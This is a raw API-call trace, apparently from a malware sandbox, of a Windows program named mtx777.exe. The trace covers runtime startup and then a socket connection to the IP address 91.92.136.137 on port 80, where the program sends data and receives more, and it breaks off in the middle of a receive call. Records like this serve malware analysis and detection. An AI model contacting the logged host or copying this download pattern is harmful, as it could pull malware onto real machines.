!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿô;Æ\nTåJ", lpUsedDefaultChar=0x0) returned 256 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x537af0 [0034.347] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4ae360, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtx777.exe")) returned 0x30 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x39) returned 0x524010 [0034.347] RtlInitializeSListHead (in: ListHead=0x112880 | out: ListHead=0x112880) [0034.347] GetLastError () returned 0x0 [0034.347] SetLastError (dwErrCode=0x0) [0034.347] GetEnvironmentStringsW () returned 0x53ef40* [0034.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x565) returned 0x53fa18 [0034.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x53fa18, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0034.347] FreeEnvironmentStringsW (penv=0x53ef40) returned 1 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x537b78 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1f) returned 0x53e6e8 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x53ff88 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x37) returned 0x537c18 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x524058 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x31) returned 0x537c58 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x17) returned 0x533640 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x52c618 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x533660 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd) returned 0x53ca48 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x25) returned 0x52c648 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x39) returned 0x5240a0 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x533680 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x17) returned 0x5336a0 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xe) returned 0x53ca60 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x69) returned 0x536b10 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x5240e8 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1b) returned 0x53e710 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1d) returned 0x53e738 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x528688 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12) returned 0x5336c0 [0034.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5336e0 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1b) returned 0x53e760 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x52c678 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x29) returned 0x52cb18 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x53e788 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x41) returned 0x5286d8 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x17) returned 0x533700 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xf) returned 0x53ca78 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x16) returned 0x533720 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x52cb88 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x29) returned 0x52cbc0 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x15) returned 0x533740 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x53e7b0 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x52cbf8 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12) returned 0x533760 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x533780 [0034.348] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x46) returned 0x528728 [0034.348] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fa18 | out: hHeap=0x510000) returned 1 [0034.348] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.348] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.348] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0034.348] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0034.348] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.348] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="InitOnceExecuteOnce") returned 0x76c4d627 [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0034.349] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleEx") returned 0x76c4c78f [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandle") returned 0x76c5cbfc [0034.350] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="WakeConditionVariable") returned 0x771d7de4 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSRWLock") returned 0x77168456 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="AcquireSRWLockExclusive") returned 0x771629f1 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77174892 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseSRWLockExclusive") returned 0x771629ab [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableSRW") returned 0x76cb4b74 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWork") returned 0x76c4ee45 [0034.351] GetProcAddress (hModule=0x76c20000, lpProcName="SubmitThreadpoolWork") returned 0x771a8491 [0034.352] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWork") returned 0x7719d8e2 [0034.352] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0034.352] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0034.352] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0034.352] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x800) returned 0x53ef40 [0034.352] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.352] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xdf120) returned 0xfb31c [0034.352] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d60 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0034.353] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.353] GetLastError () returned 0x57 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0034.353] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.353] GetLastError () returned 0x57 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0034.353] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0034.353] GetLastError () returned 0x57 [0034.353] GetProcAddress (hModule=0x76c20000, lpProcName="LCIDToLocaleName") returned 0x76c5ced4 [0034.354] GetProcAddress (hModule=0x76c20000, lpProcName="LocaleNameToLCID") returned 0x76cb4801 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e990 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x533d70 [0034.354] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d70 | out: hHeap=0x510000) returned 1 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x533d70 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d80 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337a0 [0034.354] GetLastError () returned 0x57 [0034.354] SetLastError (dwErrCode=0x57) [0034.354] GetLastError () returned 0x57 [0034.354] SetLastError (dwErrCode=0x57) [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8) returned 0x536b88 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a6) returned 0x53f748 [0034.354] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53f748 | out: hHeap=0x510000) returned 1 [0034.354] GetLastError () returned 0x57 [0034.354] SetLastError (dwErrCode=0x57) [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x533d90 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x533da0 [0034.354] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x533db0 [0034.354] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8) returned 0x53f748 [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a6) returned 0x53f808 [0034.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53f808 | out: hHeap=0x510000) returned 1 [0034.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0034.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0034.355] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533db0 | out: hHeap=0x510000) returned 1 [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x533db0 [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x533d90 [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x200) returned 0x53f808 [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x533dc0 [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.355] GetLastError () returned 0x57 [0034.355] SetLastError (dwErrCode=0x57) [0034.356] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8) returned 0x536b88 [0034.356] GetLastError () returned 0x57 [0034.356] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a6) returned 0x53ffc8 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ffc8 | out: hHeap=0x510000) returned 1 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533db0 | out: hHeap=0x510000) returned 1 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53f748 | out: hHeap=0x510000) returned 1 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533dc0 | out: hHeap=0x510000) returned 1 [0034.356] GetLastError () returned 0x57 [0034.356] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x533dc0 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0034.356] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533da0 | out: hHeap=0x510000) returned 1 [0034.356] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533da0 [0034.356] GetCurrentThread () returned 0xfffffffe [0034.356] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x4ae590, lpExitTime=0x4ae598, lpKernelTime=0x4ae598, lpUserTime=0x4ae598 | out: lpCreationTime=0x4ae590, lpExitTime=0x4ae598, lpKernelTime=0x4ae598, lpUserTime=0x4ae598) returned 1 [0034.356] RtlInitializeSListHead (in: ListHead=0x112920 | out: ListHead=0x112920) [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524130 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc68 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x536c48 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9b8 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536c48 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc68 | out: hHeap=0x510000) returned 1 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9e0 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc68 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x53fa10 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ea08 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fa10 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cca0 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc68 | out: hHeap=0x510000) returned 1 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x536c48 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ea30 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536c48 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ea08 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9e0 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9b8 | out: hHeap=0x510000) returned 1 [0034.357] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9b8 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x536c48 [0034.357] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9e0 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536c48 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ea08 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ea58 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ea80 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x53fa10 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53eaa8 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fa10 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ea80 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ea58 | out: hHeap=0x510000) returned 1 [0034.358] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x536c48 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536c48 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53eaa8 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ea08 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9e0 | out: hHeap=0x510000) returned 1 [0034.358] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9b8 | out: hHeap=0x510000) returned 1 [0034.358] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae360 | out: lpWSAData=0x4ae360) returned 0 [0034.366] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53ebe8 [0034.366] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0034.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ebe8 | out: hHeap=0x510000) returned 1 [0034.366] WSACreateEvent () returned 0x184 [0034.366] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x18c [0034.546] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0035.506] htons (hostshort=0x50) returned 0x5000 [0035.506] connect (s=0x18c, name=0x4ae084*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0035.557] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0035.557] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x540788 [0035.557] GetLastError () returned 0x0 [0035.558] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x545fd8 [0035.558] GetLastError () returned 0x0 [0035.558] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0035.558] send (s=0x18c, buf=0x5447a8*, len=381, flags=0) returned 381 [0035.558] Sleep (dwMilliseconds=0x32) [0035.670] WSARecv (in: s=0x18c, lpBuffers=0x4ae074, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae07c, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae074*=((len=0x1ff, buf=0x4ae0b0*)), lpNumberOfBytesRecvd=0x4ae07c*=0x0, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060) returned 0 [0035.671] WSAGetLastError () returned 997 [0035.671] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae080*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0037.496] WSAResetEvent (hEvent=0x184) returned 1 [0037.496] WSAGetOverlappedResult (in: s=0x18c, lpOverlapped=0x4ae060, lpcbTransfer=0x4ae07c, fWait=0, lpdwFlags=0x4ae094 | out: lpcbTransfer=0x4ae07c, lpdwFlags=0x4ae094) returned 1 [0037.497] WSARecv (in: s=0x18c, lpBuffers=0x4ae074, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae07c, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae074*=((len=0x1ff, buf=0x4ae0b0*)), lpNumberOfBytesRecvd=0x4ae07c*=0x1ff, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060) returned 0 [0037.497] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae080*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0037.497] WSAResetEvent (hEvent=0x184) returned 1 [0037.497] WSAGetOverlappedResult (in: s=0x18c, lpOverlapped=0x4ae060, lpcbTransfer=0x4ae07c, fWait=0, lpdwFlags=0x4ae094 | out: lpcbTransfer=0x4ae07c, lpdwFlags=0x4ae094) returned 1 [0037.497] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x543bb0 [0037.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5447a8 | out: hHeap=0x510000) returned 1 [0037.497] WSARecv (in: s=0x18c, lpBuffers=0x4ae074, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae07c, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae074*=((len=0x1ff, buf=0x4ae0b0*)), lpNumberOfBytesRecvd=0x4ae07c*=0x1ff, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060) returned 0 [0037.497] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae080*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0037.498] WSAResetEvent (hEvent=0x184) returned 1 [0037.498] WSAGetOverlappedResult (in: s=0x18c, lpOverlapped=0x4ae060, lpcbTransfer=0x4ae07c, fWait=0, lpdwFlags=0x4ae094 | out: lpcbTransfer=0x4ae07c, lpdwFlags=0x4ae094) returned 1 [0037.498] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x546fe0 [0037.498] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543bb0 | out: hHeap=0x510000) returned 1 [0037.498] WSARecv (in: s=0x18c, lpBuffers=0x4ae074, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae07c, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060, 